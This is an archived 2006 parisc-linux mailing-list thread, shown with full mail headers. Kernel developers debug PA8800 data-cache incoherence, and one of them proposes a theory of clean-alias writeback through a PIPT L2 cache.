Message-ID: <7d01f9f00607231954m7b9992e8r6148bb26b7b461da@mail.gmail.com>
References: <119aab440607221050w3b6a949j49862c2766d5c7ef@mail.gmail.com>
	<1153708426.1235.11.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624138 20517 80.91.229.3 (22 Nov 2014 02:42:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:18 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "James Bottomley" <James.Bottomley@steeleye.com>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jul 2006 02:54:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx080) with SMTP; 24 Jul 2006 04:54:49 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 14BC17D705;
	Sun, 23 Jul 2006 20:54:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09294-10; Sun, 23 Jul 2006 20:54:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 52B367D70C;
	Sun, 23 Jul 2006 20:54:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A46877D702
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 20:54:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09294-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 20:54:40 -0600 (MDT)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.169])
	by free.linux.hp.com (Postfix) with ESMTP id 4F57F7D6FF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 20:54:40 -0600 (MDT)
Original-Received: by ug-out-1314.google.com with SMTP id k3so2283897ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 19:54:39 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=UxnpT45h9Pc7RqlfliKWfSS5L6RfNj/35OLWhl1sB50O/xcLj0sdKCb5/hqLwtdSz/MX8mSFLdVzcl/0LhvTZepHD+YzDoSx2QTTYGacy1c7B1JbHUEmS2MSb2Q3rCF5baXzvQCisiNnXnm0DVB9U/e2yBZymDEiQ+Cb5fvUpE4=
Original-Received: by 10.78.159.7 with SMTP id h7mr1290881hue;
	Sun, 23 Jul 2006 19:54:38 -0700 (PDT)
Original-Received: by 10.78.172.2 with HTTP; Sun, 23 Jul 2006 19:54:38 -0700 (PDT)
In-Reply-To: <1153708426.1235.11.camel@mulgrave.il.steeleye.com>
Content-Disposition: inline
X-Google-Sender-Auth: 48a9f6c1675db974
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QgHxcMExTiEtoqyUaGRwKbh1ZUVSRNeE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23843

On 7/23/06, James Bottomley <James.Bottomley@steeleye.com> wrote:
> Carlos wrote:
> > Grant expressed worry that "Pattern 1" was indicative of a dma sync
> > problem with the network socket read.
>
> I'm still dubious about this one ... even if we agree it's a D cache
> issue, it's definitely a D cache issue affecting program execution (i.e.
> function pointers or call indirection).  The data coming out of the
> network pipe for ssh never finds its way into the execution stream,
> which means it's unlikely to affect these areas.  Additionally, ssh has
> message integrity checks which fail noisily (i.e. the network data is
> verified against a secure hash before it's used).  So, if we had
> incoherent data from the pipe, I would exect to see periodic MIC
> failures, which we don't see.

Actually on some occasion, the sshd would kill the incoming connection
with "bad packet length" and "invalid hash packet" and all sorts of
various nasty error messages. And we made sure that these messages
were sent by the _server_, not the _client_...

My take is that we see that bug so much more on pa8800 because of its
huge cache and thus because we hit cache much more often than on all
other machines...

Still investigating this, i'm about to bring back online my rp3440 ;)

HTH

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The problem on the PA8800 is all in the data-cache.
Date: Tue, 25 Jul 2006 09:51:52 -0500
Lines: 88
Approved: news@gmane.org
Message-ID: <1153839113.3452.28.camel@mulgrave.il.steeleye.com>
References: <119aab440607221050w3b6a949j49862c2766d5c7ef@mail.gmail.com>
	<1153708426.1235.11.camel@mulgrave.il.steeleye.com>
	<7d01f9f00607231954m7b9992e8r6148bb26b7b461da@mail.gmail.com>
	<20060724033223.GE29603@parisc-linux.org>
	<7d01f9f00607232115n18865924s4f07f64d84e45dce@mail.gmail.com>
	<1153750204.1235.18.camel@mulgrave.il.steeleye.com>
	<20060724163228.GA22560@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624138 20519 80.91.229.3 (22 Nov 2014 02:42:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:18 +0000 (UTC)
Cc: Thibaut VARENE <T-Bone@parisc-linux.org>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>,
 Matthew Wilcox <matthew@wil.cx>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jul 2006 14:52:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx015) with SMTP; 25 Jul 2006 16:52:14 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 722E37D79C;
	Tue, 25 Jul 2006 08:52:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32084-01; Tue, 25 Jul 2006 08:52:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B4DF47D783;
	Tue, 25 Jul 2006 08:52:06 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C12FF7D776
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Jul 2006 08:52:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31860-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Jul 2006 08:52:02 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id 7061D7D774
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Jul 2006 08:52:02 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k6PEprY09130; Tue, 25 Jul 2006 10:51:53 -0400
In-Reply-To: <20060724163228.GA22560@colo.lackof.org>
X-Mailer: Evolution 2.2.3 (2.2.3-4.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GAL1cN8/X1Vp6uuYY2FyVaB3SDc4NAye
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23844

On Mon, 2006-07-24 at 10:32 -0600, Grant Grundler wrote:
> While I agree in general that a PIPT cache won't have aliasing effects.
> ISTR the virtual coherence index (VCI) is part of the "physical address".
> If it's not, I'm confused how CPUs on different sockets remain coherent.
> I expect the VCI is visible across the Mckinley Bus and thus is part
> of the physical address. IOMMU is also pushing out an address that
> has VCI bits in it - so DMA remains coherent with CPU virtual addresses.
> 
> If I've got this right, then we can have aliasing in PIPT cache.
> Willy, can you check the pa8800 ERS and look for "coherence index"
> or similar, related words?

I don't believe the PIPT cache can have a coherence index, otherwise it
would be effectively VIPT (see the virtual index in a form).  A PIPT
cache is fully addressable by the physical address alone.  So, for I/O
we use the CI to evict L1 lines and the simple physaddr (without a CI)
to evict PIPT lines.  Exclusivity means that if we find the line in the
L2 we don't even need to present the physaddr and CI to the L1.
However, verifying this in docs would be a good thing ...

However, here's the kicker ... I think we can get incoherence from clean
aliases in a combined VIPT/PIPT environment.  This is impossible in a
VIPT environment, and something Linux isn't expecting in its cache
management.

The Linux theory of managing inequivalent aliases is that as long as we
ensure that we only ever have one dirty alias, we can never get
corruption (and as long as we flush the aliases before reassigning the
page, we can never get incoherence from clean lines).  However, linux is
perfectly happy to tolerate incoherence on the Kernel/User addresses
provided only one alias is dirty.  We get this in COW breaking (where we
bring in a spurious clean copy of the old page at the kernel VA) and at
other I/O related places.

However, in a combined VIPT/PIPT, there is a nasty scenario to do with
cache eviction.  In general cache lines are selected for eviction (a
process called victim selection) on a LRU basis. For a single cache
level, a clean victim is just discarded, a dirty victim is written back
to main memory. In a cache hierarchy, eviction means the line is written
from the n-1 to the n cache hierarchy.  This gives a scenario where a
clean line is actually rewritten to a lower cache in the hierarchy
rather than being discarded.  If the hierarchy is fully VIPT, this
doesn't matter.

However, if the lower cache is PIPT, it has to do alias combining like
this:  the L1 presents the tag and data to the PIPT L2 (discarding the
virtual index which the PIPT doesn't care about), so the L2 stores this
fully physically indexed and tagged).  Now, assume we have two
inequivalent aliases of the same physical line P at virtual indexes V1
(containing data D1) and V2 (containing data D2).  Even if these are
clean, you get this behaviour:  the L1 selects V1 for eviction and
writes its contents to the L2 at P (which now caches D1).  However, at a
later time the LRU algorithm selects V2 for eviction and writes the line
to the L2 at P (which now caches D2).  If the process later reads V1 for
P, it gets data D2 (an inequivalent alias incoherence of clean lines).
Theoretically, as long as the LRU algorithm is perfect, we should never
get this effect, since the oldest line should be evicted first, and that
should be the one containing the stale data.  However, my bet (which
would require doc verification in the pa8800 ers) is that the LRU isn't
perfect, so there's a tiny window, most likely to be hit on COW
breaking, where the kernel and the user get different data aliases with
the kernel one being only slightly older. If the slightly younger user
alias is selected for eviction first, we get the old kernel data in the
PIPT which is read back in when the user accesses the address again.  

Note: this scenario only works if both lines are clean ... to get the
modified D2, you have to dirty a line and then re-clean it.  i.e. write
it out and then read it back again so fast that it's still in the
imperfect LRU window.  This seems impossible until you consider that
there are lots of operations (mainly around I/O) that will cause cache
flushing of the user alias.  So the final scenario seems to be COW break
to cause the kernel alias, user write, user flush, user read all in the
imperfect LRU window (which would be incredibly rare).

This theory seems to explain all of the behaviour, why we see it so
rarely, and why it seems to happen around forks when I/O is going on in
the system.  Unfortunately it also seems to indicate that the only way
of fixing it would be to have full equivalence.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The problem on the PA8800 is all in the data-cache.
Date: Tue, 25 Jul 2006 12:13:46 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20060725161345.GA13707@hiauly1.hia.nrc.ca>
References: <119aab440607221050w3b6a949j49862c2766d5c7ef@mail.gmail.com>
	<1153708426.1235.11.camel@mulgrave.il.steeleye.com>
	<7d01f9f00607231954m7b9992e8r6148bb26b7b461da@mail.gmail.com>
	<20060724033223.GE29603@parisc-linux.org>
	<7d01f9f00607232115n18865924s4f07f64d84e45dce@mail.gmail.com>
	<1153750204.1235.18.camel@mulgrave.il.steeleye.com>
	<20060724163228.GA22560@colo.lackof.org>
	<1153839113.3452.28.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624139 20521 80.91.229.3 (22 Nov 2014 02:42:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:19 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>,
 Thibaut VARENE <T-Bone@parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jul 2006 16:14:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 25 Jul 2006 18:14:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D033D7D7B0;
	Tue, 25 Jul 2006 10:13:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00520-02; Tue, 25 Jul 2006 10:13:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B005F7D7A7;
	Tue, 25 Jul 2006 10:13:54 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 77C1F7D764
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Jul 2006 10:13:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32745-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Jul 2006 10:13:50 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 4DF8D7D68D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Jul 2006 10:13:50 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k6PGDmbT013726;
	Tue, 25 Jul 2006 12:13:48 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k6PGDl2p013725;
	Tue, 25 Jul 2006 12:13:47 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <1153839113.3452.28.camel@mulgrave.il.steeleye.com>
User-Agent: Mutt/1.4.2.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HgeMA/kRa2A7ubvDOHQyeXMyOWhhakf7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23845

> This theory seems to explain all of the behaviour, why we see it so
> rarely, and why it seems to happen around forks when I/O is going on in
> the system.  Unfortunately it also seems to indicate that the only way
> of fixing it would be to have full equivalence.

How about disabling L2?  This should test your theory.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The problem on the PA8800 is all in the data-cache.
Date: Tue, 25 Jul 2006 11:17:19 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <1153844239.3452.29.camel@mulgrave.il.steeleye.com>
References: <119aab440607221050w3b6a949j49862c2766d5c7ef@mail.gmail.com>
	<1153708426.1235.11.camel@mulgrave.il.steeleye.com>
	<7d01f9f00607231954m7b9992e8r6148bb26b7b461da@mail.gmail.com>
	<20060724033223.GE29603@parisc-linux.org>
	<7d01f9f00607232115n18865924s4f07f64d84e45dce@mail.gmail.com>
	<1153750204.1235.18.camel@mulgrave.il.steeleye.com>
	<20060724163228.GA22560@colo.lackof.org>
	<1153839113.3452.28.camel@mulgrave.il.steeleye.com>
	<20060725161345.GA13707@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624139 20526 80.91.229.3 (22 Nov 2014 02:42:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:19 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>,
 Thibaut VARENE <T-Bone@parisc-linux.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jul 2006 16:17:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx061) with SMTP; 25 Jul 2006 18:17:41 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6A4AA7D7AA;
	Tue, 25 Jul 2006 10:17:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00520-09; Tue, 25 Jul 2006 10:17:38 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 83FE47D7AF;
	Tue, 25 Jul 2006 10:17:37 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 948E67D7A7
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Jul 2006 10:17:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00526-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Jul 2006 10:17:33 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id 51ADF7D764
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Jul 2006 10:17:33 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k6PGHJY14750; Tue, 25 Jul 2006 12:17:20 -0400
In-Reply-To: <20060725161345.GA13707@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.2.3 (2.2.3-4.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: F33+cRtZbmw7vq2HZzdLyApHUzc4clF4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23846

On Tue, 2006-07-25 at 12:13 -0400, John David Anglin wrote:
> How about disabling L2?  This should test your theory.

Kyle's working on it based on Grant's original work ... you need access
to a lot of secret diag registers to do this, though, so it's not easy.

James
 

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The problem on the PA8800 is all in the data-cache.
Date: Tue, 25 Jul 2006 12:34:05 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <7d01f9f00607250934o111be951sc4ba0b765ed986ba@mail.gmail.com>
References: <119aab440607221050w3b6a949j49862c2766d5c7ef@mail.gmail.com>
	<1153708426.1235.11.camel@mulgrave.il.steeleye.com>
	<7d01f9f00607231954m7b9992e8r6148bb26b7b461da@mail.gmail.com>
	<20060724033223.GE29603@parisc-linux.org>
	<7d01f9f00607232115n18865924s4f07f64d84e45dce@mail.gmail.com>
	<1153750204.1235.18.camel@mulgrave.il.steeleye.com>
	<20060724163228.GA22560@colo.lackof.org>
	<1153839113.3452.28.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624139 20534 80.91.229.3 (22 Nov 2014 02:42:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:19 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "James Bottomley" <James.Bottomley@steeleye.com>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jul 2006 16:34:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 25 Jul 2006 18:34:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3AC057D7B4;
	Tue, 25 Jul 2006 10:34:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00841-06; Tue, 25 Jul 2006 10:34:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AA52B7D7B5;
	Tue, 25 Jul 2006 10:34:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DF9D27D7AF
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Jul 2006 10:34:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00841-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Jul 2006 10:34:06 -0600 (MDT)
